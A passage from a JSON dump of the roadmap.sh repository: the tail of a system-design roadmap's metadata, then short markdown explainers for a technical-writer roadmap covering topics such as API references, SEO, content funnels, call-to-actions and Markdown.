building a robust, efficient, and secure system, though this list represents just a subset of the comprehensive factors involved in system design.\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\ndimensions:\n  width: 968\n  height: 3200\nschema:\n  headline: 'System Design Roadmap'\n  description: 'Learn System Design with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/system-design.png'\n  datePublished: '2023-01-17'\n  dateModified: '2023-01-17'\nseo:\n  title: 'System Design Roadmap'\n  description: 'Learn system design in 2025 with this step by step guide and resources.'\n  keywords:\n    - 'guide to learn system design'\n    - 'distributed systems roadmap'\n    - 'modern system design roadmap'\n    - 'system design roadmap'\n    - 'system design roadmap 2025'\n    - 'scalable system roadmap'\n    - 'system design patterns roadmap'\n    - 'systems design roadmap'\n    - 'application architectures'\n    - 'system design guide'\n    - 'learn systems design'\n    - 'system design guide 2025'\nrelatedRoadmaps:\n  - 'software-architect'\n  - 'devops'\n  - 'python'\n  - 'java'\n  - 'golang'\n  - 'engineering-manager'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/api-definitions@co-35BsWMrD6PXohpFqba.md",
    "content": "# API Definitions\n\nAPI stands for Application Programming Interface. Essentially, it's a set of rules and protocols for building and integrating application software. APIs allow different software programs to communicate with each other, acting as a bridge between them. They define the kinds of calls or requests that can be made between applications, how to make them, the data formats that should be used, and the conventions to follow. APIs can be used for web-based services, operating systems, databases, or software libraries. They are designed to provide a consistent experience, simplify programming, and support modularity and scalability. APIs often come in the form of a library that includes specifications for routines, data structures, object classes, and protocols used to communicate between the consumer and the provider of the API."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/api-reference@z5_73Q7dWbBd4m_OrdZlH.md",
    "content": "# API Reference\n\nAPI References are comprehensive guides designed to understand the details of the API. Usually, they include information such as endpoints, request examples, response types and examples, and error codes. API References help developers learn the specifics of your API’s endpoints and understand how to successfully integrate the API into their software.\n\n```markdown\n**API References**\nAPI References offer in-depth information about the functionalities of APIs. Details such as `endpoints`, `request examples`, `response types`, `response examples`, and `error codes` are thoroughly enumerated. They are made to assist developers in understanding the intricate workings of the API, allowing them to incorporate the API seamlessly into their software.\n```\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/awareness-blog-posts@7S2lymeBZSMBZSsmei7us.md",
    "content": "# Awareness Blog Posts\n\n\"Awareness blogs\" is a commonly used term in digital marketing, particularly concerning \"top funnel\" strategies. As the phrase implies, these blogs are designed to create, increase, or maintain awareness of a particular topic, issue, or brand. These articles typically contain knowledgeable content that highlights key information and facts, often aiming to educate the reader and provide value. The goal isn't to hard sell a product or service, but rather to softly introduce what the business, product, or service is about. As a technical writer, you may be asked to write these types of posts to raise awareness of a brand, product, service, or concept, aiming at attracting potential customers and maintaining the engagement of existing ones."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/backlinking@UphVii3y4T_PkRMqFJ4r_.md",
    "content": "# Backlinking\n\nBacklinking, often referred as \"inbound links\" or \"incoming links\", is a method used in search engine optimization (SEO) where other websites link to your content. Backlinks are significant indicators of content's relevance, quality, and credibility to search engines. Achieving backlinks can be a result of great content naturally earning shares, or a strategic move of reaching out to relevant websites, guest posting, or engaging in content promotion. The more high-quality backlinks your website obtains, the more likely it is to rank well in search engine results. However, it's also crucial to consider where your backlinks originate from, as links from spam or low-quality websites can potentially harm your ranking. In addition, Google values various backlink parameters like anchor text distribution, dofollow and nofollow ratio, and link acquisition rate while evaluating a website."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/best-practices@yYLsG2LuPaNUuhXSVev_0.md",
    "content": "# Best Practices\n\nAs a technical writer, adhering to established best practices helps to ensure the consistency, clarity, and overall quality of your work. Some common best practices include:\n\n- **Always consider the audience**: Write the content with the user's perspective in mind. Make sure the technical jargon, language, and complexity level match your intended readers.\n\n- **Organize the content logically**: Divide the material into sections, subsections, bulleted lists, and tables. Use headlines to help the readers navigate through the content.\n\n- **Use diagrams and images when necessary**: Visual aids can often enhance the understanding of a complex idea or process.\n\n- **Write clear and concise sentences**: Avoid ambiguous information and jargon that the reader may not understand. Always aim for readability.\n\n- **Edit, edit, edit**: Proofread your work, correct grammar and spelling errors, and ensure the information is accurate and current.\n\nFollowing these best practices can increase the effectiveness of your technical writing and ensure your audience understands and retains the information easily."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/blogging-platforms@sdoFe4A3y_-Zp3mlrJ5r8.md",
    "content": "# Blogging Platforms\n\n\"Blogging Platforms\" refers to software services that allow users to create, post, and manage blogs online. Some well-known examples of blogging platforms include WordPress, Blogger, Tumblr, and Medium. These platforms often feature user-friendly interfaces and offer various customization tools to suit your blogging needs. WordPress, for instance, offers significant flexibility and a wide range of themes and plugins, while Blogger is known for its reliable Google integration. Tumblr's social sharing functionality makes it a prominent choice among creative bloggers, and Medium is noted for its emphasis on high-quality content and its user-friendly editor. Dev.to, Hashnode and Hackernoon are free, beginner-friendly blogging platforms that cater to developers, and allow them to share ideas with each other. Each platform offers different strengths depending on your particular needs and specialization as a technical writer. \n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/bottom-funnel-content@vo1udIIRpxNZCpA3g32F3.md",
    "content": "# Bottom-funnel Content\n\n\"Bottom funnel\" refers to the final stage in the marketing funnel where potential customers are ready to make a purchase. This phase typically includes actions like negotiations, sales calls, and the final transaction. For a technical writer, understanding the \"bottom funnel\" can be crucial as it could influence the type of technical content they create. For instance, they might need to create in-depth product guides, FAQs, or troubleshooting articles that potential customers could use during the decision-making process. The main goal during the \"bottom funnel\" stage is to convince the potential customer to finalize their purchase and become an actual customer."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/buyer-journey--content-funnel@EhhKxYPtoLztZXBXl3ZGl.md",
    "content": "# Buyer Journey and Content Funnel\n\nThe **Buyer Journey** refers to the process a customer goes through from the moment they become aware of a need or desire until the point of purchase. It is often categorized into three main stages: Awareness, Consideration, and Decision. In the _Awareness_ stage, the customer realizes they have a problem or need. During the _Consideration_ stage, they evaluate different options to satisfy that need. Finally, in the _Decision_ stage, they choose a specific solution. Understanding the buyer journey is instrumental for businesses, as it helps them tailor their marketing strategies to the right audience at the right time."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/call-to-actions@a1ChwDwztjZBi79y38AGa.md",
    "content": "# Call to Actions\n\n## Call-to-Actions (CTAs)\n\nCall-to-Actions are critical components in technical writing. They primarily direct readers toward performing specific tasks or activities. Often used in manuals, guidelines, procedures, and any instructive materials, they make the content actionable. CTAs can take several forms such as, \"*Click here*\", \"*Submit a request*\", or \"*Download now*\". They should be concise, clear, and direct. Incorporating compelling verbs can make the CTA more effective. Always remember to place CTAs where readers can easily see them, and it's recommended to use a contrasting color, if possible, for a standalone CTA button to make it more noticeable."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/canonical-link@NIxIhMEOxrUR8nbjbF_Fp.md",
    "content": "# Canonical Link\n\nA `canonical link` is an HTML element that helps prevent duplicate content in search engine optimization by specifying the \"preferred\" version of a page. The canonical tag is added to the HTML head of a page and has a link leading to the version of the web page that is the most complete or authoritative. Irrespective of the number of URLs pointing to similar content, the canonical link denotes which is the key version. This is crucial in guiding search engine bots to index and rank the right pages."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/communities--forums@QMehC1tmWPVWaTsiV9sFC.md",
    "content": "# Communities & Forums\n\nForums can be essential sources of information for a technical writer during the content research process. These are online platforms where people discuss different types of subjects. Often, they are used to ask questions, answer queries, or share ideas about a particular topic. Examples of forums include \"Reddit\", \"Quora\", or specialized tech forums like \"Stack Exchange\". These sites allow a technical writer to learn about common issues, troubleshoot problems, comprehend user experiences, and stay updated with the latest trends or changes in a specific field. Depending on the industry or field you're writing for, there are different niche forums you can explore. Always make sure to cross-check the information you find on forums as it can vary in reliability."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/comparative-posts@2wjRA_pQ9cCG9Ww994FEM.md",
    "content": "# Comparative Posts\n\n\"Comparative posts\" are articles that focus on comparing different products, services, or tools. In these posts, the technical writer analyzes each item's features, application, and usability, sometimes even their prices, to help clients make informed decisions. It's imperative to note, comparative posts don't just pinpoint 'which is better?'. Instead, they delve deep into the specifics of ‘why and how’ an aspect of a product or service outshines the other. This kind of technical write-up is typically unbiased, comprehensive, and objective to maintain credibility and usefulness."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-aging--timelines@JgdrXG7MX1gGuNG9uyubA.md",
    "content": "# Content Aging  and Timelines\n\n`Content Aging` refers to the natural process where the information or data presented becomes outdated or irrelevant over time. This typically happens in rapidly evolving industries or topics, where new developments or advancements regularly occur. As a technical writer, it's crucial to regularly review and update your content to ensure its accuracy and relevance. Ignored, aged content can lead to misinformation, confusion, and loss of trust among your readers. Therefore, a systematic approach to manage content aging, like implementing a review cycle or updating schedule, is an integral part of content management strategy."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-analysis@TbSBCITdLswhVB82fErTP.md",
    "content": "# Content Analysis\n\nContent Analysis is a research methodology used by technical writers to interpret and quantify textual data. It involves a systematic process of coding and identifying themes or patterns within a body of text from different sources such as books, blogs, articles, or other document types. The primary goal is to provide a subjectively interpreted, yet valid and replicatable, inference from the data. This technique helps decipher whether the content in question conveys the desired communication effectively or if there are areas that require improvement. For example, you may conduct a content analysis to measure the user-friendliness of a software manual or the clarity and comprehensibility of an instructional guide."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-distribution-amplification-strategies@_cAGbAswDhOqpoiiikPbD.md",
    "content": "# Content Distribution Amplification Strategies\n\nIn technical writing, **amplification strategies** are tactics utilized to increase the reach and impact of the content produced. This often involves promoting and sharing the content through various mediums to ensure it gets in front of the largest and most relevant audience. These strategies can include everything from social media promotion and email marketing campaigns to leveraging influencers and using SEO (Search Engine Optimization) strategies. Additionally, they can also involve repurposing content into different formats (like infographics or videos) to engage wider demographics. These amplification techniques help to maximize the reach and effectiveness of the technical content produced."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-distribution-channels@m9-DqsQfeukmhjhIfCph-.md",
    "content": "# Content Distribution Channels\n\nContent distribution channels refer to the mediums through which content creators disseminate their work to reach their chosen audience. Broadly, these channels can be divided into three categories: owned, earned, and paid. Owned channels are those controlled by the content creators themselves, such as their websites, blogs or email newsletters. Earned channels are ones where others distribute the content on the creator's behalf out of their own desire, such as shares on social media or word-of-mouth recommendations. Paid channels, as the name implies, are those where content creators pay to have their work distributed, such as through sponsored posts or advertisements on social media, promotional emails, or paid search results in search engines."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-distribution@mrqBxsNRl1CQEKtuYSy9F.md",
    "content": "# Content Distribution\n\nContent distribution refers to the process of sharing, publishing, or disseminating content to your audience through various mediums. These mediums can include different channels like social media platforms (Facebook, Twitter, LinkedIn, etc.), email newsletters, blogs, podcasts, websites, or even offline venues like magazines and newspapers. The nature of content being distributed can range from blog posts, articles, videos, infographics, to podcasts. The aim of content distribution is to make your content accessible to as many relevant audiences as possible, increasing reach, visibility, and engagement. The strategy may involve both organic and paid means of distribution, and typically pursues a multichannel approach to maximize reach."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-objectives--intent@7FGMPztd6ouvqemcGhIol.md",
    "content": "# Content Objectives and Intent\n\nContent objectives refer to the identified goals or targets that a technical writer aims to fulfill with a piece of content. Often, these goals are aligned with the overall project aims and may include educating users, providing clear instructions, or explaining a specific topic in a digestible format. It is important for technical writers to define their content objectives clearly, in order to tailor their writing approach, style, and structure accordingly. Moreover, content objectives serve as a guide in creating, reviewing, and revising the content to ensure that it meets the intended purpose. Therefore, content objectives serve as the underlying basis, which significantly influences the quality of the final content output."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-optimization@XyFEYDJvJpGZ7qSdoSZeI.md",
    "content": "# Content Optimization\n\n\"Content Optimization\" is a vital technique in digital writing, focusing on making your content more appealing and useful to your target audience. It involves several strategies such as keyword usage, meta-tag optimization, using relevant links and references, maintaining proper content length, utilizing images and infographics effectively, and ensuring a mobile-friendly layout. Also, optimization of your content for search engines (SEO) is vital, enabling your content to rank higher in search rankings. However, it's not just about SEO; attention must be given to the readability, clarity, and overall user experience. The aim is to both engage human readership and satisfy search engine algorithms. Remember, content optimization isn't a one-time process but requires regular updates and review for achieving consistent advantages."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-research@O-dZEkmU0tP3dUIUPM6YJ.md",
    "content": "# Content Research\n\n`Content research` involves a systematic investigation into a specific subject matter in order to gather reliable and relevant information. This process is crucial for a technical writer as it helps in generating valuable content that's accurate, informative, and engaging. It goes beyond basic internet search; it includes reading technical documents, interviewing experts, conducting surveys, and analyzing data. Content research should be conducted in a strategic manner, taking into consideration the purpose of the information, the target audience, and the key message to be conveyed. A well-executed content research process helps technical writers produce high-quality content that's both clear and concise."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-seo@-IBL9S4DelIi07w_fmrX3.md",
    "content": "# Content SEO\n\n\"SEO\" stands for \"Search Engine Optimization\". It is a digital marketing strategy focused on boosting the online visibility of a website or a web page in a search engine's unpaid results. Typically, the higher ranked on the search results page or more frequently a site appears in the search results list, the more visitors it will receive from the search engine's users. SEO tactics can target various types of search like image search, local search, video search, academic search, news search and industry-specific vertical search engines. It involves a range of activities such as keyword research and optimization, link building, and content creation, geared towards making a site more attractive to search engines. Beyond assisting with visibility, SEO also helps to improve the user experience and usability of a website."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/content-structure@Ezz2e4lYLD_bdNNwvsV_y.md",
    "content": "# Content Structure and Headers\n\nContent structure in technical writing is a crucial aspect that ensures readers can follow through and understand the information seamlessly. It involves organizing content logically, creating outlines, using headings and subheadings, and writing in a linear and clear manner. Furthermore, the structure includes the application of sequences such as chronological orders, step-by-step guides, or flowcharts. The table of contents and index also play a significant role in structure, as they allow readers to navigate quickly to different areas of the document. Additionally, elements such as glossaries help to define complex terms used in the text. Ultimately, a well-structured document creates an excellent user and reading experience."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/conversion-tracking@UiXn-CnPcLWAflKJzaJ2a.md",
    "content": "# Conversion Tracking\n\n`Conversion Tracking` is a powerful tool in online marketing and business analytics. It allows you to identify how well your campaign, ads, prompts, or any other initiative is working by tracking how users interact and convert on your site or app. `Conversion` can be actions such as signing up for a newsletter, downloading a file, making a purchase, or any other key performance indicator (KPI) for your project. Essentially, `Conversion Tracking` involves placing a piece of code, often known as a pixel, on your website or app. Once a user performs an action that you've defined as a 'conversion', this pixel is triggered and records the action. By implementing conversion tracking across different digital platforms, you can effectively decode user behavior, and use these insights to optimize your ongoing and future campaigns for better performance."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/crafting-great-titles@WmOvQYlnedX0QgC5Adeen.md",
    "content": "# Crafting Great Titles\n\nCreating great titles is an essential best practice for technical writers. Titles should be engaging, accurate, clear, concise, and should provide a quick summary of what your article or document is all about. They should include keywords relevant to your content, but avoid jargon that could alienate your readers. Use active verbs instead of passive wherever possible to give your titles more impact. Also, make sure that your title doesn't promise something that the content doesn't deliver. Consider your audience and what would be most valuable and informative to them. Finally, always review and revise your titles as needed."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/customer-case-studies@W44q1iEj7RKM55-9jabMJ.md",
    "content": "# Customer Case-Studies\n\n\"Case Studies\" are in-depth analyses often used by technical writers. They offer a detailed investigation into a specific subject, typically presenting real-world applications or scenarios. By employing a systematic approach, case studies can provide valuable insights which might not be achieved with other methods. They may contain extensive research, including interviews, observations, and data collection for quantitative and qualitative assessment. Case studies can encompass unique perspectives or complex matters, offering a rich understanding of the subject matter. They are often used in scientific, academic, and business contexts."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/developer-docs@e8oNoXw1KLY4jDzojIXyk.md",
    "content": "# Developer Documentation\n\nDeveloper docs, also known as developer documentation or API documentation, is a form of technical writing specifically aimed towards software developers. This type of documentation usually includes technical specifications of APIs, code comments, software design and architecture, and other detailed technical descriptions involved in software development. Developer docs are essential tools for developers as they provide the necessary guidelines, standards, and examples for using and integrating specific software, libraries, or APIs. The structure and comprehensiveness of developer docs can vary greatly depending on the complexity of the software it describes, but the main purpose is to help developers understand, utilize, and contribute to the software efficiently."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/developer-journey@2pNW7wDGih_m73lhGZRg6.md",
    "content": "# Developer Journey\n\n## Developer Journey\n\nThe term \"developer journey\" usually refers to the full spectrum of experiences a developer goes through - from learning about a system or tool for the first time, to getting set up, to building or integrating applications with it. This journey typically involves a series of phases including initial discovery, setup and installation, first use, ongoing development, troubleshooting and optimisation. Developer docs play an integral role in this journey, providing necessary instruction and guidance at each step. Recognising key stages in the developer journey can help guide the design and organisation of developer docs, ensuring they deliver pertinent, useful content that enhances the overall developer experience."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/developer-support@7w1SjK-LV9SBZJ673eAUd.md",
    "content": "# Developer Support Content\n\n\"Support content\" is another critical aspect of technical writing. It is the material that assists users in troubleshooting issues, understanding complex topics, or learning how to use a product or service independently. An integral part of user assistance, support content often takes the form of FAQs, tutorial articles, video demonstrations, manuals, or help guides. It caters to the end-users' immediate and long-term needs, helping them navigate and maximize the use of a product or service. For example, if a user encounters a problem using a software, instead of reaching out to technical support, they might refer to support content, such as a how-to guide or an instructional video, to resolve the issue independently. Clear, easy-to-follow, and accessible support content significantly enhances user experience and satisfaction."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/docs-generation-tools@iBBeZopD8SNo7sWTohMim.md",
    "content": "# Document Generation Tools\n\nAPI documentation generation tools are software applications that create API documentation directly from the source code. This streamlines the process for developers and also ensures that the documentation stays updated with the code changes. Examples of these tools include Doxygen, Sphinx, Javadoc, Swagger UI, and Slate. Doxygen works with several programming languages including C++, Python, and Java. Sphinx is often used for Python. Javadoc is specifically for Java code. Swagger UI lets you visually interact with your API’s resources without having any of the implementation logic in place. Slate generates static HTML that looks great, is responsive, and can be easily hosted on sites like GitHub."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/docs-structure@jYhfx6RETFgDulyNqdTBy.md",
    "content": "# Documentation Structure\n\nThe **documentation structure** refers to the arrangement and organization of information within the documentation. It should offer an intuitive and logical user navigation to facilitate quick comprehension and locate vital information effortlessly. The structure usually includes sections such as **Overview**, explaining the product and its issues it solves. **Getting Started** or **Quick Start Guide** offers initial information about using a product right away. **Tutorials** provide a step-by-step guide to completing a particular task. **How-to guides** solve a problem or accomplish specific user goals. **Concept guides** offer deeper understanding about the product's functionality while **API/SDK Documentation** contains code-based information. Lastly, **Reference Manuals** or **User guides** provide comprehensive details of the product’s functionality. The structure may vary depending on the type of product/service."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/ebook@5zQpravkqwafvwXVOuNPX.md",
    "content": "# E-Book\n\n`Ebooks` are longer-form content that allows a business or individual to delve deeper into a specific subject matter. They typically range from 10 to 100 pages and offer more comprehensive content than a blog post or an infographic. An ebook might consist of a multitude of different components, like a table of contents, chapters, headers, body content, and images. Despite their length, they should be designed for easy reading, considering they are usually downloaded and read on a customer’s own time. They work especially well for technical subjects that need more in-depth explanations, diagrams, or step-by-step guides for understanding the topic effectively. Because they are more substantial, they are usually gated - this means that the reader would need to provide their contact details or other information to access the download link."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/editing-tools@Am_ocP3r0HM45LYfMcQxM.md",
    "content": "# Editing Tools\n\n### Editing\n\nEditing refers to the process of reviewing and correcting written material to improve accuracy, readability, and fitness for its purpose, and to ensure that it is free of error, omission, inconsistency, and repetition. In the context of technical writing, effective editing is essential for producing high quality content. This involves checking the document for grammatical errors, punctuation errors, and spelling errors. It also includes checking for factual correctness, logical flow, and coherency. There are several tools available for editing such as Grammarly, Hemingway App, and ProWritingAid, among others. These tools aid the technical writer in the editing process by providing features such as grammar checking, spell checking, and feedback on writing style.\n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/forms-of-technical-writing@cNeT1dJDfgn0ndPzSxhSL.md",
    "content": "# Forms of Technical Writing\n\nThese can range from user manuals, how-to guides, white papers, design specifications, and project plans, among others. Each form serves a different purpose and audience. For instance, user manuals are typically directed towards end users, providing step-by-step instructions on how to use a particular product. On the other hand, design specifications target developers or technical teams, detailing how a certain technology or product should be designed or built. These various forms highlight the breadth and diversity of output that a technical writer can create. It's essential for a technical writer to understand the distinctions and appropriate usage of these forms to effectively communicate technical information."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/frequently-asked-questions@pgrKfp1trcIxhDdvLk95g.md",
    "content": "# Frequently Asked Questions\n\n\"FAQs\" stands for \"Frequently Asked Questions\". This is a crucial part of any technical document or user guide that compiles a list of common questions (with their respective answers) that users might have about a particular product, service, or topic. Good FAQs are clear, concise, and organized in a logical way. Typically, they are updated regularly based on user queries and feedback to remain helpful and relevant. FAQs can include instructions to resolve common user problems, terms and definitions, links to related resources, and other information useful for understanding and using the product or service effectively."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/general-product-prose@UFuMiHtWq1M8dS8547lOp.md",
    "content": "# General Product Prose\n\n**Product Prose** is a form of technical writing focused on explaining how a particular product works, its features, and how it can be beneficial to users. This type of technical writing usually takes the form of user guides, product manuals, and online help systems. It's generally written in a simple, understandable language and employs diagrams, images, and screenshots for better understanding. The aim of product prose is to assist users in utilizing the product effectively and resolving any issues that may arise during its use. A product prose writer must possess an in-depth understanding of the product, strong communication skills, and the ability to write clear, concise instructions."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/generic-gated-content@XDX2QxMUkUok2fcS3tFki.md",
    "content": "# Generic Gated Content\n\n\"Generic Gated\" refers to the type of content, usually informative or educational, that requires a user to provide certain information, like an email address, before gaining access to it. It's a strategy frequently used by businesses to generate leads. This can include a range of content, such as white papers, ebooks, webinars, or research reports. This strategy helps businesses capture the contact information of potential customers who scale through the top of the funnel content and have shown interest in the mid funnel \"Generic Gated\" content. These potential customers are individuals who could likely convert to customers, making them valuable leads."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/git--version-control@ffJyulu9GPB_TDqjeJYyV.md",
    "content": "# Git / Version Control\n\nGit is a free and open-source distributed version control system, designed to handle everything from small to very large projects with speed and efficiency. It is easy to learn and has a tiny footprint with lightning-fast performance. Git allows and encourages you to have multiple local branches that can be entirely independent of each other. The creation, merging, and deletion of those lines of development take seconds. It also provides strong support for non-linear development, numerous workflows, and robust features such as strong cryptographic authenticity of history."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/growth-as-a-technical-writer@FVxNjbDBxgf6vkZWw1Awt.md",
    "content": "# Growth as a Technical Writer\n\nThe growth phase in the field of technical writing is intriguing. As a technical writer gains experience and demonstrates excellent work consistently, they are likely to encounter many opportunities for growth. This can include taking on more complex projects, managing teams, or even moving toward strategic roles. Career advancement may involve specializing in specific industries or gaining fluency in cutting-edge tools and formats. Technical writers may also grow by expanding their skill set to encompass related fields like data analysis, UX writing, content management, or project coordination.                              \n"
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/help-content@e_bsYrZ0eQqduURg2ybX4.md",
    "content": "# Help Content\n\n\"Help Content\" refers to a variety of resources specifically designed to provide users with detailed information, assistance, and troubleshooting advice for software products, hardware devices, or complex services. This includes guides, FAQs, how-to articles, and video tutorials. Help content should be easily accessible, clear, concise, and focused on helping the end-user to perform specific tasks effectively or resolve issues independently. The complexity and depth of the help content may vary based on the target audience's technical expertise and familiarity with the product or service."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/how-to-guides@C-eVVtF6Yabp2a6XvMeh_.md",
    "content": "# How-to Guides\n\n\"How to Guides\" is a type of technical writing that prioritizes instructive, step-by-step information. Typically, these guides are designed to help the reader understand how to perform a specific task or process. They may depend on clear written instructions, accompanied by visuals like diagrams or screenshots. This format ensures in-depth accuracy and demonstrates each phase of the process explicitly. Examples of \"how to guides\" can range from software user manuals, product assembly instructions, tutorial blog posts, to recipe instructions. These guides thrive on simplicity, targeting a wide audience including both professionals and novices."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/icp--buyer-persona@O1apL6I_g9DQl8VbL3X4W.md",
    "content": "# ICP and Buyer Persona\n\nThe **ICP (Ideal Customer Profile)** and **Buyer Persona** are key concepts in marketing and sales. The **ICP** refers to a hypothetical company which perfectly meets the selling organization's product/service. It's a detailed description of their ideal target company, taking into account factors such as industry, size, budget, pain points, needs, and challenges. On the other hand, a **Buyer Persona** is a semi-fictional representation of your ideal customer, often based on market research and real data about existing customers. While ICP targets companies as a whole, a buyer persona focuses on individuals, giving insights into customer behaviors, goals, skills, attitudes, and demographic information. Both constructs help tailor marketing efforts to attract the right audience and convert them into customers."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/introduction@HlUUGj3dOZ68t4gIjerXh.md",
    "content": "# Introduction\n\nTechnical writing involves explaining complex concepts in a simple, easy-to-understand language to a specific audience. This form of writing is commonly utilized in fields such as engineering, computer hardware and software, finance, consumer electronics, and biotechnology. The primary objective of a technical writer is to simplify complicated information and present it in a clear and concise manner. Duties of a technical writer may include creating how-to guides, instruction manuals, FAQ pages, journal articles, and other technical content that can aid the user understanding. The ultimate goal is to enable the user to understand and navigate a new product or concept without difficulty."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/keyword-volume@JtFLW5WwH5Ixmnb0qikia.md",
    "content": "# Keyword Volume\n\n`Keyword volume`, also referred to as `search volume` or `keyword search volume`, is a metric that reflects the number of times a specific keyword was searched for in a search engine (like Google) within a specified timeframe. This data is typically monthly but can be analyzed over different time periods. A higher keyword volume means that more people are searching for that particular term. SEO tools like Google Keyword Planner, SEMrush, or Ahrefs can be used to find the volume of keywords. Note that keyword volume doesn't assess the quality of a keyword, it only measures popularity."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/language-proficiency@kNIiAJrvrNoOAllUbRtUB.md",
    "content": "# Language Proficiency\n\n\"Language Proficiency\" is extensively required in the area of technical writing. This skill involves having an exceptional command over the language that the technical document is being written in. This includes not just general fluency, but also understanding the intricacies of grammar, semantics, syntax, and vocabulary. In particular, a technical writer should be able to explain complex ideas using simple and accessible language. This helps in enhancing the clarity and effectiveness of the technical documents being produced. It's also beneficial to be familiar with the terms and phrasing commonly used in the specific industry or field that the technical documentation pertains to."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/link-shorteners--tracking@qpOfqbgLy5TzlNQEyt6DG.md",
    "content": "# Link Shorteners and Tracking\n\nURL shorteners, as the name suggests, are tools that allow you to shorten the length of any given URL. These can be extremely handy, especially in situations where you're dealing with very long and complex URLs with several parameters. A few examples of these tools include Bit.ly, TinyURL, and Google URL Shortener (now defunct, replaced by Firebase Dynamic Links). They work by creating a unique short link for your long URL, and then redirecting anyone who clicks on it to the original link. This simplifies the URL and makes it easier to share with others, either verbally or digitally. While these tools are straightforward to use, it's always a good idea to familiarize yourself with how they work and any associated privacy or security implications. Markdown is not particularly required for URL shorteners as they take any kind of link, regardless of the content."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/long-tail-keywords@2LAvq7W11WMIubSprlK_l.md",
    "content": "# Long-Tail Keywords\n\nLong Tail Keywords are more specific keyword phrases usually three to four words long that your audience might be searching for when they're closer to needing your products or services. They're a bit counter-intuitive, at first, but they can be incredibly useful if you understand their potential. With long-tail keywords, you can reach a more targeted audience that is typically further along in the buying cycle. They are less competitive than more common \"head\" keywords, and often have a higher conversion rate because they can better match with the specific services or products your business offers."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/markdown@TJ1iuzQ9u_WbrllRQkgm_.md",
    "content": "# Markdown\n\nMarkdown is a lightweight markup language with plain-text-formatting syntax. It was created by John Gruber, with significant contributions from Aaron Swartz, with the goal of allowing people \"to write using an easy-to-read, easy-to-write plain text format\". Key features include automatic production of well-structured, ready-to-publish documents from 'readable' text files. Its syntax includes items like headers (`# Header`), bullet lists (`- item`), italics (`*text*`), bold (`**text**`), links (`[description](url)`) and so forth. Markdown files usually end with `.md` or `.markdown`."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/mid-funnel-content@Q2KD70IKwBXAH3UQgeZpp.md",
    "content": "# Mid-funnel Content\n\n\"Mid Funnel\" refers to the phase in the marketing funnel where the consumer has moved beyond initial awareness and is now considering various options. At this stage, potential buyers are evaluating the information and comparing solutions. It is the job of a technical writer to provide content, such as case studies, webinars, whitepapers, demonstrative videos, etc., that helps guide the consumer towards choosing their solution. Technical writers must provide accurate information, uphold the brand's integrity, and position the product or service as a solution that meets the potential customer's needs effectively."
  },
  {
    "path": "src/data/roadmaps/technical-writer/content/opengraph-data@AarJ887P-SFRnKaOOv9yw.md",
